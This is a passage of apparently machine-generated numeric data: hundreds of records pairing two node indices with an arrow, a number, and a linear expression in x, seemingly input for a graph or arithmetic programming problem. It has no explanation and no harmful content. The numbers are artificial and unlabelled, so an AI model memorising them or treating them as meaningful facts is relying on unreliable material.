7304 7->1 112 29327*x + 7826 26->37 114 6977*x + 5989 13->15 63 33563*x + 2290 94->40 34 6073*x + 2793 43->99 54 42443*x + 4723 42->35 88 18541*x + 74 83->47 90 77269*x + 5226 74->57 109 30707*x + 7091 12->96 67 49823*x + 5487 87->81 32 46591*x + 6144 17->75 56 63031*x + 338 73->80 110 8941*x + 3673 47->11 43 74101*x + 692 55->56 119 18787*x + 5019 60->68 36 16433*x + 1607 17->29 38 137*x + 3359 55->75 56 12653*x + 3058 42->63 60 72679*x + 5868 22->40 34 57383*x + 99 84->73 102 38933*x + 6863 69->28 50 2347*x + 1554 99->22 64 33349*x + 2278 81->6 123 59921*x + 5960 92->38 75 56003*x + 7779 46->99 54 16087*x + 1631 11->71 37 46237*x + 8175 6->74 55 9463*x + 5379 45->34 41 52553*x + 8136 64->8 49 59707*x + 2510 50->8 49 36389*x + 8163 16->17 104 104579*x + 9848 50->7 126 48767*x + 7713 85->66 44 14699*x + 3122 88->63 60 18307*x + 2781 79->6 123 9623*x + 5073 7->80 110 48817*x + 2442 61->21 9 90731*x + 10861 72->6 123 27011*x + 3474 88->89 107 57077*x + 6641 27->21 9 19919*x + 6386 58->81 32 65587*x + 7888 86->84 89 7927*x + 3973 38->59 84 11821*x + 7263 81->63 60 83857*x + 7934 80->22 64 71347*x + 6004 38->72 92 30841*x + 551 45->43 105 100361*x + 14374 93->14 77 35251*x + 2635 65->10 46 86923*x + 13969 36->89 107 36791*x + 5276 24->50 116 103577*x + 11574 90->13 99 50839*x + 3172 28->7 126 6469*x + 4348 60->35 88 47*x + 5507 78->39 113 55259*x + 7359 95->1 112 29837*x + 6440 21->79 100 54269*x + 4769 31->69 59 82171*x + 2102 67->27 58 53681*x + 1490 84->36 79 22397*x + 6892 52->47 90 104383*x + 9016 28->64 70 83591*x + 2805 94->6 123 86311*x + 9825 36->76 124 64577*x + 6489 55->80 110 62563*x + 7717 50->51 97 84947*x + 15837 33->19 61 2351*x + 4515 11->88 71 96479*x + 16260 83->73 102 45337*x + 1247 98->42 87 54919*x + 3711 94->68 36 109*x + 2932 28->99 54 26141*x + 3911 87->12 101 30241*x + 2084 53->63 60 87547*x + 12703 27->66 44 58699*x + 3626 32->49 68 75617*x + 2316 87->72 92 71563*x + 1245 74->13 99 26683*x + 2537 86->63 60 12853*x + 1993 2->22 64 92671*x + 15770 41->63 60 6871*x + 53 5->41 73 87107*x + 11409 79->95 111 25919*x + 6044 65->89 107 21227*x + 4752 83->2 72 88993*x + 14593 95->45 13 48989*x + 5773 80->11 43 34747*x + 1759 19->29 38 84377*x + 10274 97->51 97 71261*x + 2811 10->38 75 51673*x + 8079 37->2 72 41761*x + 4936 5->24 65 28867*x + 4859 65->79 100 9059*x + 1641 62->96 67 29027*x + 5014 5->56 119 71971*x + 3804 30->57 109 28069*x + 7087 97->38 75 17417*x + 3161 60->43 105 5051*x + 441 92->67 117 13421*x + 1911 93->88 71 1277*x + 4453 98->7 126 30871*x + 2181 83->21 9 36107*x + 1716 77->4 48 34319*x + 3779 98->18 80 39799*x + 1388 71->19 61 54869*x + 7044 8->95 111 953*x + 757 32->6 123 26783*x + 3169 54->95 111 31849*x + 4675 53->49 68 89231*x + 13413 64->91 91 102409*x + 12299 90->12 101 72671*x + 7246 98->74 55 92041*x + 13356 5->9 115 27851*x + 5792 9->89 107 22853*x + 382 51->6 123 6737*x + 7906 72->71 37 51721*x + 3748 83->56 119 4373*x + 7101 26->63 60 92251*x + 11278 37->65 95 103289*x + 14705 99->94 125 103333*x + 11909 33->34 41 69959*x + 6510 32->87 121 92791*x + 10874 13->59 84 44279*x + 6605 71->69 59 227*x + 2610 49->30 96 1871*x + 3937 8->5 82 72109*x + 5142 65->65 95 88883*x + 12855 88->29 38 54181*x + 3921 85->71 37 5813*x + 6383 14->51 97 45893*x + 5275 45->55 39 67987*x + 2075 78->12 101 12613*x + 2219 97->58 35 47059*x + 4413 2->68 36 15907*x + 5306 55->22 64 25763*x + 547 4->77 106 33773*x + 4989 31->68 36 37223*x + 5474 39->42 87 62869*x + 1115 51->13 99 2663*x + 6816 71->67 117 21943*x + 3674 81->20 62 5557*x + 3930 4->28 50 69761*x + 1680 71->46 74 65323*x + 4379 88->72 92 35527*x + 2301 49->73 102 45413*x + 7415 0->10 46 58147*x + 7928 54->89 107 70753*x + 6350 46->60 85 88969*x + 8212 14->1 112 37357*x + 3746 50->67 117 1069*x + 2897 0->69 59 47353*x + 1642 86->27 58 53279*x + 8161 21->77 106 56629*x + 331 74->42 87 1637*x + 4199 95->10 46 11299*x + 2139 69->73 102 33461*x + 8147 15->98 93 22511*x + 3560 65->75 56 94009*x + 8326 88->10 46 5233*x + 4148 16->3 118 14939*x + 3886 62->5 82 12421*x + 6137 22->92 51 97849*x + 14424 28->57 109 70327*x + 240 48->49 68 27281*x + 281 18->24 65 49261*x + 5206 56->59 84 32173*x + 3624 77->59 84 27647*x + 2908 51->97 108 90659*x + 9990 35->92 51 17033*x + 269 2->69 59 20743*x + 2829 51->41 73 79181*x + 1379 92->0 33 37061*x + 1560 14->28 50 29339*x + 485 84->87 121 1621*x + 8170 4->86 53 33413*x + 3094 90->77 106 95027*x + 8894 31->90 86 42689*x + 4813 85->0 33 11959*x + 6524 14->82 40 32411*x + 7301 89->22 64 14851*x + 471 6->16 66 101573*x + 14560 84->19 61 76207*x + 1630 68->88 71 90841*x + 13956 20->95 111 43177*x + 7043 63->87 121 59417*x + 414 5->73 102 5309*x + 4597 20->30 96 22277*x + 7177 63->85 83 63667*x + 5893 19->36 79 67651*x + 6081 4->21 9 47713*x + 7109 23->61 10 96323*x + 10394 21->67 117 81517*x + 1489 46->14 77 39971*x + 8017 50->38 75 32257*x + 6913 84->22 64 6691*x + 5570 93->86 53 68507*x + 2674 26->30 96 42461*x + 2944 47->66 44 45427*x + 4420 26->1 112 103483*x + 15594 5->49 68 66973*x + 3977 90->80 110 69257*x + 2200 53->81 32 17579*x + 2744 11->31 47 30949*x + 7775 91->21 9 102881*x + 13494 66->22 64 4357*x + 3442 24->14 77 26681*x + 7279 95->80 110 51151*x + 1396 24->2 72 65677*x + 5135 68->63 60 4457*x + 3765 19->98 93 5581*x + 7107 90->30 96 74719*x + 4860 77->10 46 65851*x + 5701 79->61 10 63277*x + 7299 74->43 105 3989*x + 6789 4->56 119 3461*x + 6792 68->65 95 6473*x + 2868 54->52 42 17257*x + 6012 20->70 57 9619*x + 6826 44->54 94 21521*x + 4587 86->12 101 102191*x + 9372 12->46 74 82003*x + 5520 71->23 11 34603*x + 1471 32->38 75 8713*x + 52 4->61 10 80449*x + 6803 87->21 9 1201*x + 253 78->2 72 20807*x + 617 59->4 48 42131*x + 1235 54->73 102 82237*x + 3869 29->90 86 100699*x + 14100 4->84 89 32233*x + 2527 47->52 42 19603*x + 4717 9->35 88 35227*x + 425 46->5 82 55691*x + 6777 30->22 64 46811*x + 3343 11->73 102 26209*x + 7587 33->83 12 53149*x + 3174 50->49 68 100153*x + 14302 12->44 45 51241*x + 2752 33->64 70 37963*x + 1069 34->5 82 94847*x + 16210 42->4 48 4909*x + 8086 61->12 101 103841*x + 15097 3->89 107 39829*x + 4545 11->10 46 74929*x + 1499 72->52 42 71399*x + 4651 64->93 98 12373*x + 7529 33->27 58 3533*x + 5422 38->41 73 96043*x + 8196 89->83 12 59393*x + 3848 33->55 39 87481*x + 14232 2->96 67 2273*x + 3809 68->14 77 72043*x + 3323 82->22 64 54193*x + 7364 75->61 10 35317*x + 5877 70->6 123 85453*x + 11531 66->35 88 70229*x + 6672 54->27 58 51341*x + 1080 66->91 91 100169*x + 10426 94->69 59 97459*x + 13981 27->62 103 67181*x + 4376 43->41 73 64189*x + 1205 61->78 76 20749*x + 3757 52->13 99 42073*x + 6696 59->72 92 61553*x + 5782 63->21 9 96097*x + 13113 24->27 58 44633*x + 4416 66->67 117 22727*x + 3026 62->51 97 34849*x + 4469 39->12 101 82763*x + 1349 19->13 99 397*x + 4016 81->1 112 76579*x + 584 76->68 36 21871*x + 6566 92->19 61 74713*x + 5456 95->92 51 101917*x + 11437 24->65 95 18253*x + 86 65->45 13 25097*x + 4343 94->96 67 19289*x + 4493 52->41 73 100741*x + 15468 73->68 36 79811*x + 587 4->26 81 48259*x + 1395 10->72 92 100193*x + 15914 5->72 92 44053*x + 1173 48->99 54 50123*x + 5164 77->49 68 8161*x + 5556 88->86 53 91961*x + 11660 4->97 108 46751*x + 5633 48->72 92 103843*x + 12199 66->42 87 41959*x + 567 71->38 75 47237*x + 6580 36->57 109 97369*x + 14237 40->17 104 46411*x + 2660 38->93 98 85909*x + 9299 12->34 41 91193*x + 15888 98->56 119 37189*x + 2742 4->22 64 74509*x + 569 32->42 87 5479*x + 2846 4->71 37 64927*x + 2680 17->44 45 17077*x + 1092 39->50 116 103813*x + 9805 42->2 72 26731*x + 6499 17->32 69 5381*x + 7533 15->55 39 53003*x + 5238 82->54 94 77141*x + 3128 13->28 50 59029*x + 4488 38->69 59 75653*x + 4240 24->98 93 6359*x + 5991 9->27 58 27997*x + 348 50->45 13 12967*x + 3124 27->82 40 39581*x + 6551 9->2 72 18749*x + 1510 17->7 126 4201*x + 5051 28->24 65 32323*x + 7905 49->36 79 62773*x + 447 50->99 54 50261*x + 1535 76->43 105 24907*x + 3274 8->56 119 9901*x + 7794 80->85 83 50923*x + 5380 58->44 45 61297*x + 6931 67->50 116 85303*x + 11629 58->51 97 88897*x + 10018 4->58 35 38603*x + 1242 62->66 44 80911*x + 1583 71->87 121 97367*x + 9840 90->38 75 94531*x + 11006 46->4 48 59567*x + 6725 33->41 73 68059*x + 5000 51->90 86 89597*x + 8712 0->83 12 36473*x + 146 73->29 38 71011*x + 5914 47->73 102 98009*x + 15720 36->20 62 8461*x + 4108 15->39 113 100363*x + 14047 51->14 77 17291*x + 5404 76->76 124 95957*x + 15991 35->15 63 93283*x + 11390 27->52 42 92639*x + 10578 94->14 77 10559*x + 4631 77->65 95 50221*x + 7375 62->79 100 41117*x + 3288 98->79 100 4973*x + 3676 35->90 86 31183*x + 6634 9->36 79 101477*x + 13232 47->58 35 62137*x + 5598 80->51 97 1759*x + 7591 4->68 36 86843*x + 11318 70->17 104 32303*x + 1579 93->27 58 81173*x + 2980 20->92 51 59471*x + 1276 83->51 97 41617*x + 3891 45->40 34 14741*x + 648 85->99 54 42569*x + 5811 80->27 58 54331*x + 7910 85->83 12 87433*x + 10220 42->52 42 21493*x + 6979 43->89 107 20357*x + 6862 92->36 79 66083*x + 5891 96->43 105 90793*x + 16294 14->19 61 4861*x + 2629 60->84 89 17167*x + 2969 8->97 108 30011*x + 5063 89->63 60 49669*x + 2543 64->60 85 85549*x + 12512 31->30 96 31583*x + 2295 46->43 105 101833*x + 8957 44->92 51 25903*x + 2512 73->17 104 52501*x + 2151 92->85 83 14957*x + 5210 70->96 67 37649*x + 6940 14->66 44 2411*x + 408 9->6 123 4639*x + 3606 75->0 33 77747*x + 3231 10->65 95 19483*x + 7236 65->16 66 79319*x + 418 84->15 63 53381*x + 3315 47->75 56 5099*x + 1754 7->4 48 26557*x + 6278 2->40 34 102317*x + 15055 26->15 63 21701*x + 5791 65->6 123 53077*x + 6179 46->9 115 14891*x + 1813 91->98 93 49663*x + 1491 10->54 94 8887*x + 44 3->82 40 63841*x + 4153 34->17 104 55763*x + 38 2->10 46 29443*x + 3263 85->39 113 73849*x + 5411 97->76 124 33191*x + 5652 74->0 33 20101*x + 2828 19->68 36 64661*x + 2554 46->59 84 101323*x + 15171 40->92 51 56923*x + 2750 58->8 49 64091*x + 8040 25->70 57 68171*x + 5236 70->48 78 96199*x + 16289 10->89 107 83383*x + 7421 37->20 62 21817*x + 3923 58->34 41 59723*x + 5896 20->13 99 80473*x + 8106 56->97 108 599*x + 7037 82->91 91 20809*x + 7168 65->39 113 3709*x + 6183 30->14 77 73303*x + 7342 67->44 45 32587*x + 4541 39->31 47 87133*x + 15238 91->15 63 39719*x + 5394 27->33 122 19073*x + 632 14->8 49 62311*x + 2758 60->53 120 74797*x + 5146 23->19 61 9791*x + 1618 46->46 74 70459*x + 8068 2->78 76 96419*x + 12724 7->58 35 12959*x + 554 55->8 49 98873*x + 16364 7->32 69 14437*x + 2946 4->45 13 59771*x + 3259 54->54 94 9931*x + 4927 97->61 10 13241*x + 3820 41->39 113 15671*x + 3475 12->60 85 22859*x + 5366 92->4 48 36653*x + 1075 72->78 76 45949*x + 230 54->68 36 67559*x + 3479 58->26 81 44027*x + 6325 82->86 53 10667*x + 2874 38->85 83 45127*x + 974 89->0 33 27847*x + 5099 69->11 43 19441*x + 6080 66->65 95 93257*x + 10612 0->91 91 31541*x + 1605 31->73 102 57191*x + 4168 73->2 72 3343*x + 6952 32->92 51 91573*x + 8708 55->18 80 1453*x + 2408 88->25 52 71341*x + 7454 88->57 109 25057*x + 7305 43->35 88 75533*x + 6688 24->56 119 92461*x + 12645 38->2 72 2011*x + 214 49->40 34 43759*x + 7404 59->17 104 26539*x + 5274 29->37 114 2741*x + 589 73->49 68 61487*x + 3462 25->93 98 877*x + 645 4->92 51 22067*x + 279 42->33 122 69143*x + 6205 99->0 33 9781*x + 7967 71->79 100 84349*x + 13141 78->84 89 92419*x + 14750 43->15 63 63247*x + 4543 0->38 75 29423*x + 201 87->32 69 79579*x + 2285 75->53 120 40759*x + 2528 67->20 62 61657*x + 4118 8->81 32 73517*x + 4697 42->92 51 64301*x + 2277 7->66 44 52571*x + 5424 99->6 123 20341*x + 4666 57->35 88 31513*x + 189 34->35 88 28697*x + 3515 78->37 114 34141*x + 4843 26->79 100 1249*x + 1062 1->4 48 19813*x + 247 27->18 80 67349*x + 6620 90->26 81 19081*x + 6956 88->17 104 8761*x + 2801 91->77 106 17321*x + 7917 9->55 39 40933*x + 3838 48->16 66 48437*x + 735 38->7 126 8951*x + 2140 34->83 12 19699*x + 3728 21->70 57 70439*x + 6287 70->40 34 104207*x + 11657 6->26 81 47111*x + 7010 11->81 32 59419*x + 402 28->70 57 23071*x + 1593 19->11 43 68963*x + 5452 78->40 34 24151*x + 2470 46->76 124 41333*x + 2414 21->90 86 23899*x + 5390 86->74 55 40351*x + 2693 67->37 114 98717*x + 12265 89->76 124 34703*x + 7956 97->92 51 15131*x + 393 81->82 40 39569*x + 462 38->11 43 35537*x + 4491 43->27 58 66089*x + 3429 5->74 55 95881*x + 10937 6->48 78 15809*x + 4429 32->24 65 70529*x + 5460 26->38 75 4643*x + 3564 97->1 112 28387*x + 6277 82->78 76 6277*x + 3525 20->3 118 35507*x + 178 7->29 38 51769*x + 3032 46->94 125 20483*x + 2785 70->25 52 71287*x + 325 56->19 61 77731*x + 1248 89->19 61 35423*x + 7668 74->53 120 18379*x + 710 22->32 69 43451*x + 6445 74->69 59 60727*x + 5530 26->94 125 94513*x + 9712 29->23 11 49019*x + 923 35->79 100 63823*x + 2869 79->63 60 15053*x + 563 92->93 98 57649*x + 3133 71->7 126 94007*x + 9857 83->71 37 65543*x + 1130 12->4 48 4159*x + 2062 39->45 13 68087*x + 6572 65->40 34 6269*x + 4986 6->15 63 71363*x + 5517 71->82 40 81799*x + 7463 72->56 119 74047*x + 714 34->0 33 2593*x + 6154 52->5 82 94819*x + 14525 66->27 58 6869*x + 4406 8->90 86 71879*x + 17 78->79 100 82301*x + 2808 77->14 77 13033*x + 3335 55->40 34 41141*x + 7281 88->95 111 93581*x + 9077 18->15 63 20051*x + 962 1->26 81 104231*x + 14635 16->69 59 4651*x + 8018 6->40 34 14321*x + 4012 5->25 52 72271*x + 351 33->54 94 59621*x + 4613 46->98 93 23203*x + 6476 19->41 73 28793*x + 831 89->89 107 907*x + 1004 34->21 9 59797*x + 246 85->60 85 107*x + 128 33->16 66 74653*x + 3649 49->25 52 20963*x + 6905 32->13 99 12763*x + 4484 22->88 71 104651*x + 14150 98->57 109 47363*x + 4008 30->92 51 74843*x + 7900 26->69 59 60289*x + 3550 17->95 111 89393*x + 14327 65->29 38 77773*x + 4138 38->43 105 46877*x + 941 93->28 50 56099*x + 6039 50->48 78 18481*x + 7838 71->61 10 69247*x + 3801 83->19 61 13159*x + 3076 88->64 70 21739*x + 2448 84->51 97 54941*x + 30 64->1 112 86293*x + 13366 51->42 87 38611*x + 7643 38->76 124 24767*x + 4321 73->84 89 65437*x + 1220 41->89 107 89899*x + 14697 68->87 121 43951*x + 5784 31->83 12 53623*x + 2152 44->1 112 88463*x + 9247 74->87 121 82021*x + 5412 53->27 58 49297*x + 5207 65->83 12 81649*x + 861 56->98 93 9277*x + 3110 95->55 39 68639*x + 1369 6->0 33 83443*x + 4696 40->71 37 36209*x + 8168 5->26 81 5807*x + 5009 37->29 38 79999*x + 2696 33->8 49 64997*x + 4064 16->18 80 5009*x + 3714 51->10 46 94117*x + 10703 13->30 96 67169*x + 534 52->89 107 2297*x + 1197 77->84 89 37379*x + 2985 81->28 50 47093*x + 3529 77->28 50 1619*x + 2314 80->65 95 54403*x + 5144 26->87 121 18457*x + 4197 40->32 69 22273*x + 7471 61->18 80 42797*x + 3845 89->48 78 56237*x + 7055 45->24 65 40841*x + 4607 86->58 35 35731*x + 5898 92->2 72 44773*x + 5924 29->11 43 12743*x + 5964 10->2 72 19979*x + 5711 98->55 39 99713*x + 10522 27->17 104 25457*x + 1135 80->4 48 60919*x + 4363 13->34 41 25609*x + 6465 91->63 60 23581*x + 4965 70->56 119 48731*x + 5725 77->29 38 104149*x + 15689 17->39 113 20443*x + 2350 48->52 42 78193*x + 5543 84->29 38 12809*x + 4635 5->40 34 87623*x + 15162 75->69 59 103643*x + 9984 17->38 75 15643*x + 991 98->87 121 733*x + 2189 23->79 100 54139*x + 4985 50->92 51 78593*x + 7484 21->29 38 59123*x + 1052 68->57 109 59957*x + 6194 22->19 61 35171*x + 3530 51->26 81 64399*x + 5707 40->85 83 12049*x + 7521 28->46 74 49559*x + 7583 95->13 99 18049*x + 2918 50->41 73 39541*x + 1027 54->83 12 977*x + 4555 94->77 106 85061*x + 13966 63->52 42 8623*x + 3992 62->21 9 14401*x + 7887 81->37 114 29137*x + 6970 46->30 96 7079*x + 3106 64->55 39 31079*x + 560 49->46 74 19379*x + 517 83->62 103 58393*x + 4900 22->13 99 39041*x + 3224 24->88 71 15461*x + 5175 23->73 102 46807*x + 7084 95->33 122 1753*x + 6718 54->2 72 7793*x + 2820 10->3 118 41611*x + 6894 63->95 111 3217*x + 5311 73->40 34 43207*x + 2943 80->31 47 26189*x + 4353 32->91 91 36887*x + 6953 17->21 9 65921*x + 689 95->83 12 10453*x + 7719 39->21 9 9157*x + 6203 39->20 62 52937*x + 6455 4->81 32 58693*x + 1594 83->50 116 95461*x + 10273 28->38 75 8431*x + 1073 1->63 60 21787*x + 3612 4->65 95 4801*x + 853 85->94 125 40009*x + 1961 39->28 50 73699*x + 1528 70->73 102 54323*x + 20 97->93 98 10303*x + 880 43->63 60 457*x + 3286 64->86 53 33619*x + 5396 5->7 126 88919*x + 8630 51->89 107 102547*x + 14242 19->92 51 84317*x + 15762 34->56 119 40693*x + 841 38->60 85 10177*x + 5883 14->32 69 85021*x + 8899 30->99 54 65839*x + 4506 38->66 44 24859*x + 2586 66->78 76 73673*x + 2110 36->33 122 44683*x + 2307 64->77 106 95959*x + 13395 49->58 35 25999*x + 6151 30->6 123 15803*x + 4308 53->86 53 88223*x + 13049 0->99 54 60659*x + 4328 69->9 115 1229*x + 6670 16->0 33 98801*x + 12428 77->51 97 69371*x + 2009 77->52 42 20599*x + 6327 99->8 49 58921*x + 7041 69->74 55 2557*x + 1677 34->51 97 50051*x + 6077 32->95 111 88301*x + 11576 89->94 125 35419*x + 3684 84->1 112 52817*x + 4137 22->57 109 94613*x + 8200 86->75 56 24509*x + 6795 86->43 105 75217*x + 1830 32->30 96 1093*x + 5584 63->62 103 21937*x + 4237 98->58 35 78347*x + 3261 36->74 55 7309*x + 4392 62->15 63 78713*x + 1131 89->21 9 63391*x + 4245 83->75 56 15361*x + 4418 52->72 92 20521*x + 5016 94->76 124 90437*x + 12898 73->64 70 3863*x + 2343 63->5 82 53611*x + 585 1->5 82 727*x + 7539 0->92 51 65213*x + 1855 59->70 57 21017*x + 5131 35->18 80 43283*x + 1696 90->66 44 18899*x + 946 29->56 119 2801*x + 4394 57->30 96 5737*x + 4670 1->21 9 21991*x + 7117 46->86 53 26083*x + 6702 35->70 57 51713*x + 4573 31->25 52 14551*x + 2986 34->60 85 58733*x + 5125 6->36 79 44389*x + 3377 69->49 68 39079*x + 7413 57->27 58 373*x + 5152 18->32 69 82493*x + 3898 73->20 62 48953*x + 8114 39->78 76 75629*x + 7512 36->35 88 65101*x + 7975 31->3 118 20393*x + 5163 24->15 63 17383*x + 6332 44->97 108 5387*x + 2870 0->88 71 4561*x + 7434 59->56 119 54583*x + 7205 14->98 93 55001*x + 612 23->4 48 54287*x + 2027 74->91 91 7949*x + 6656 11->50 116 103217*x + 12389 29->26 81 25601*x + 4871 81->88 71 72173*x + 1426 90->85 83 77527*x + 6118 24->44 45 26863*x + 1008 92->34 41 65843*x + 5268 93->16 66 101399*x + 10880 42->16 66 61961*x + 7903 37->62 103 77017*x + 8121 4->35 88 54541*x + 2531 62->99 54 77243*x + 7311 4->57 109 22721*x + 8001 88->22 64 3823*x + 491 12->69 59 3079*x + 4504 59->16 66 23003*x + 3817 64->84 89 88843*x + 12185 78->85 83 19037*x + 891 28->30 96 97649*x + 13898 24->0 33 389*x + 6149 76->20 62 20183*x + 1141 69->0 33 28393*x + 7919 61->10 46 41627*x + 7735 98->21 9 83617*x + 4119 76->80 110 2591*x + 681 80->79 100 13931*x + 1531 78->15 63 17489*x + 3357 3->65 95 102451*x + 9553 0->45 13 62017*x + 1796 74->30 96 19697*x + 6395 19->12 101 23173*x + 1118 22->87 121 46051*x + 7712 31->45 13 101627*x + 13093 81->65 95 19889*x + 2615 16->43 105 27527*x + 7418 33->13 99 16091*x + 2931 24->97 108 33857*x + 1120 60->42 87 44273*x + 6208 25->19 61 54949*x + 6871 79->58 35 63463*x + 3013 28->76 124 92479*x + 14492 17->43 105 11677*x + 1638 3->4 48 12451*x + 5716 81->13 99 36097*x + 7588 91->95 111 6619*x + 3688 88->9 115 99397*x + 9090 28->67 117 78737*x + 5149 16->73 102 104053*x + 13850 77->35 88 97561*x + 10091 85->48 78 23743*x + 7654 95->94 125 6661*x + 2921 87->28 50 50411*x + 6571 37->82 40 98479*x + 15664 77->82 40 51581*x + 2519 54->5 82 61331*x + 4313 37->76 124 4931*x + 2206 69->89 107 28597*x + 2606 69->62 103 39043*x + 5133 46->11 43 63743*x + 6416 21->43 105 51869*x + 3024 75->18 80 67*x + 267 69->58 35 77617*x + 1381 39->15 63 39209*x + 4623 77->30 96 62497*x + 1751 18->31 47 86573*x + 12283 8->79 100 24821*x + 1784 4->12 101 14929*x + 6495 57->84 89 64969*x + 4131 54->97 108 43037*x + 649 35->88 71 80207*x + 3815 12->88 71 45541*x + 3761 30->73 102 80783*x + 6574 61->23 11 5147*x + 6167 80->69 59 25667*x + 6707 81->76 124 17929*x + 8159 9->98 93 44917*x + 5820 15->15 63 409*x + 6055 52->53 120 58169*x + 7856 16->78 76 64439*x + 410 63->43 105 59611*x + 4322 60->69 59 58741*x + 2313 25->47 90 3331*x + 2913 43->32 69 103903*x + 12110 20->5 82 67829*x + 4627 28->80 110 37087*x + 4320 81->70 57 36457*x + 7865 59->25 52 10753*x + 3344 14->38 75 75277*x + 1570 91->39 113 90749*x + 10908 89->69 59 78437*x + 4767 54->81 32 31259*x + 3890 1->68 36 32467*x + 4877 6->42 87 27583*x + 1684 73->37 114 1031*x + 1972 75->87 121 57773*x + 2614 83->14 77 67723*x + 6928 38->37 114 93637*x + 12735 22->36 79 66361*x + 2271 35->23 11 3299*x + 619 4->89 107 40751*x + 3074 83->97 108 69233*x + 125 36->56 119 73061*x + 970 5->18 80 65809*x + 4966 15->96 67 38189*x + 6849 8->36 79 31741*x + 4518 61->64 70 27691*x + 794 94->30 96 4283*x + 367 69->92 51 13751*x + 2757 85->32 69 11027*x + 3383 30->47 90 33931*x + 2645 54->71 37 62473*x + 341 54->6 123 64223*x + 2721 50->88 71 82393*x + 1437 42->93 98 26699*x + 7345 77->39 113 6367*x + 1089 87->52 42 37987*x + 3182 6->2 72 36067*x + 1592 6->25 52 66109*x + 6140 31->43 105 103913*x + 15614 1->18 80 73973*x + 449 51->74 55 61643*x + 5415 3->1 112 100999*x + 8546 69->25 52 17911*x + 2065 49->5 82 90379*x + 14023 24->49 68 67631*x + 7229 38->79 100 3881*x + 6642 27->77 106 104659*x + 13727 96->34 41 41467*x + 4753 71->3 118 3761*x + 5270 66->66 44 81359*x + 3443 42->10 46 29389*x + 6441 17->34 41 23371*x + 4605 30->90 86 94307*x + 13411 22->60 85 11321*x + 7247 53->4 48 100459*x + 16074 25->40 34 88177*x + 16329 44->44 45 100957*x + 16342 85->80 110 40013*x + 7426 28->23 11 94399*x + 13023 6->75 56 60353*x + 5102 57->60 85 80603*x + 927 13->48 78 51787*x + 1169 79->94 125 40123*x + 1199 64->27 58 10501*x + 6379 79->47 90 65393*x + 6815 49->7 126 38197*x + 7223 50->87 121 32621*x + 3768 24->40 34 33961*x + 7959 25->48 78 5653*x + 6662 3->74 55 49697*x + 6805 4->67 117 40927*x + 195 2->77 106 96079*x + 16172 67->86 53 29569*x + 2525 58->95 111 25453*x + 2848 83->68 36 66751*x + 7476 60->11 43 28663*x + 7585 55->2 72 1493*x + 7469 29->12 101 55633*x + 7825 19->93 98 74531*x + 2254 90->68 36 24631*x + 795 20->97 108 78941*x + 2507 21->75 56 30347*x + 1356 68->62 103 100559*x + 10082 14->99 54 27733*x + 5244 3->28 50 98893*x + 13796 26->62 103 65579*x + 4007 82->55 39 34267*x + 7610 73->32 69 23801*x + 7370 23->38 75 23357*x + 3691 36->41 73 91397*x + 10307 14->60 85 2971*x + 2021 57->13 99 9011*x + 1212 23->16 66 85621*x + 10985 29->97 108 30187*x + 3532 42->42 87 66701*x + 2780 58->15 63 19381*x + 4127 67->34 41 42257*x + 5641 6->52 42 44909*x + 4799 89->23 11 20903*x + 3016 66->86 53 93719*x + 16238 47->53 120 30137*x + 5753 25->55 39 38921*x + 229 93->72 92 9817*x + 1306 1->38 75 90217*x + 9626 69->32 69 104009*x + 11153 30->68 36 12923*x + 6819 87->98 93 7043*x + 3842 43->17 104 12253*x + 2639 26->88 71 86249*x + 11589 83->94 125 99439*x + 9587 57->38 75 93251*x + 16366 99->49 68 43597*x + 1361 34->25 52 99023*x + 10789 78->22 64 46103*x + 2601 83->39 113 76871*x + 1210 98->20 62 79283*x + 6392 27->19 61 56591*x + 7516 10->99 54 77317*x + 5675 7->50 116 58411*x + 2081 97->45 13 167*x + 7017 77->27 58 98729*x + 14305 49->47 90 3779*x + 16 95->17 104 85853*x + 12701 71->27 58 51427*x + 4371 62->9 115 23887*x + 5942 38->31 47 42193*x + 3270 59->90 86 23399*x + 4382 87->59 84 2791*x + 1884 62->34 41 89381*x + 11831 65->70 57 10099*x + 988 35->76 124 29851*x + 3162 32->0 33 1861*x + 6598 95->67 117 97861*x + 16169 74->9 115 52301*x + 926 18->96 67 101009*x + 9745 10->9 115 21491*x + 4633 8->76 124 20593*x + 5581 10->90 86 38153*x + 2364 66->12 101 7159*x + 3635 32->84 89 101737*x + 12169 80->62 103 35951*x + 442 5->59 84 102199*x + 15277 88->31 47 28711*x + 2215 15->29 38 42743*x + 2495 94->85 83 41039*x + 2741 95->62 103 39563*x + 943 94->51 97 3889*x + 73 53->72 92 61141*x + 3369 7->95 111 90473*x + 15920 8->83 12 34807*x + 4539 97->79 100 10369*x + 1734 44->65 95 83873*x + 4637 69->90 86 9929*x + 3407 20->22 64 66863*x + 3292 99->70 57 52259*x + 3575 52->98 93 51817*x + 1895 70->26 81 36541*x + 1019 36->98 93 37201*x + 5475 73->79 100 4517*x + 4819 15->73 102 42589*x + 4643 51->12 101 45281*x + 6991 95->30 96 54251*x + 1093 3->91 91 4691*x + 6810 90->45 13 93503*x + 15487 60->63 60 46679*x + 652 46->26 81 67043*x + 6879 96->92 51 9209*x + 7034 41->93 98 34847*x + 629 6->34 41 90803*x + 15701 91->80 110 83077*x + 996 11->84 89 87049*x + 10446 59->99 54 26153*x + 1216 42->14 77 97127*x + 16352 11->90 86 26987*x + 4805 26->33 122 10957*x + 6638 7->19 61 93307*x + 10541 45->91 91 7237*x + 4639 33->72 92 11443*x + 7845 82->39 113 34499*x + 7028 93->2 72 547*x + 2978 74->44 45 23599*x + 3590 40->94 125 6791*x + 7270 21->22 64 6151*x + 704 19->52 42 97157*x + 12229 12->0 33 4649*x + 2395 44->28 50 53093*x + 3888 87->87 121 57347*x + 5353 33->68 36 71129*x + 4184 18->41 73 1777*x + 7267 38->91 91 39047*x + 3367 95->40 34 41603*x + 6360 12->74 55 76493*x + 2368 8->38 75 13267*x + 1692 15->2 72 23977*x + 1585 66->0 33 92009*x + 9810 53->91 91 3673*x + 6977 23->41 73 92363*x + 9724 24->57 109 42043*x + 7616 95->3 118 74597*x + 6340 83->60 85 60149*x + 6175 41->66 44 104033*x + 13863 60->22 64 51461*x + 7578 12->94 125 26171*x + 4558 90->2 72 35869*x + 5516 72->55 39 24091*x + 1962 87->64 70 7669*x + 7129 29->80 110 32359*x + 121 15->17 104 30133*x + 685 39->23 11 73681*x + 1687 17->93 98 72907*x + 435 2->71 37 62791*x + 4785 13->35 88 32507*x + 5453 89->2 72 6967*x + 6531 7->39 113 55213*x + 6344 9->9 115 95429*x + 15396 43->3 118 44071*x + 5298 84->38 75 25087*x + 2243 80->90 86 24181*x + 3841 48->56 119 92551*x + 12949 23->78 76 6197*x + 3935 70->86 53 72973*x + 4415 